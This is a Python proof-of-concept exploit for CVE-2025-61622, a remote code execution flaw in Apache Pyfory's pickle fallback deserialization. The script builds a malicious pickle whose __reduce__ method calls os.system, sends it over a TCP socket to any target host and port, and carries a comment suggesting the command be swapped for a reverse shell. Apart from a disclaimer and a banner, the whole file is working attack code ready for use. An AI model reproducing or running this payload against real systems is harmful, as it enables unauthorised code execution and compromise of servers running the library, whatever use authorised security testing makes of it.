#!/usr/bin/env python3
"""
===========================================================================
CVE-2025-61622 Proof of Concept (PoC)
Author: SK Rahimul Haque
Contact: skrahimulhaque96@gmail.com/https://www.linkedin.com/in/sk-rahimul-haque-51538522a/
Date: 2025-10-03
===========================================================================

Description:
This PoC demonstrates the Remote Code Execution (RCE) vulnerability in 
Apache Pyfory (versions 0.12.0-0.12.2 and legacy PyFury 0.1.0-0.10.3) 
due to insecure pickle fallback deserialization (CVE-2025-61622).

Disclaimer:
This code is for educational and authorized testing purposes only.
Do not use for unauthorized activities. The author assumes no liability 
for misuse or damage caused by this script.

License: MIT License (Optional: Add if applicable)
===========================================================================
"""

import pickle
import socket
import os
import sys

# --- Banner ---
def print_banner():
    banner = """
╔══════════════════════════════════════════════════════════════╗
║                CVE-2025-61622 PoC Exploit                    ║
║                 Author: SK Rahimul Haque                     ║
║               Educational Use Only - Do Not Misuse           ║
╚══════════════════════════════════════════════════════════════╝
    """
    print(banner)

# --- Payload Class ---
class RCEPayload:
    def __reduce__(self):
        # Reverse shell command (adjust IP/port as needed)
        cmd = "id"
        return (os.system, (cmd,))

# --- Exploit Functions ---
def create_exploit():
    """Generate malicious pickle payload."""
    print("[*] Creating malicious payload...")
    return pickle.dumps(RCEPayload())

def exploit_target(target_host, target_port):
    """Send payload to vulnerable Pyfory application."""
    payload = create_exploit()
    
    try:
        print(f"[*] Connecting to {target_host}:{target_port}...")
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        client.connect((target_host, target_port))
        print("[+] Connection established.")
        
        print("[*] Sending payload...")
        client.send(payload)
        print("[+] Payload sent successfully!")
        
        client.close()
    except Exception as e:
        print(f"[-] Exploit failed: {e}")

# --- Main Execution ---
if __name__ == "__main__":
    print_banner()
    
    if len(sys.argv) != 3:
        print("Usage: python cve_2025_61622_poc.py <target_host> <target_port>")
        print("Example: python cve_2025_61622_poc.py 127.0.0.1 9000")
        sys.exit(1)
    
    target_host = sys.argv[1]
    target_port = int(sys.argv[2])
    
    exploit_target(target_host, target_port)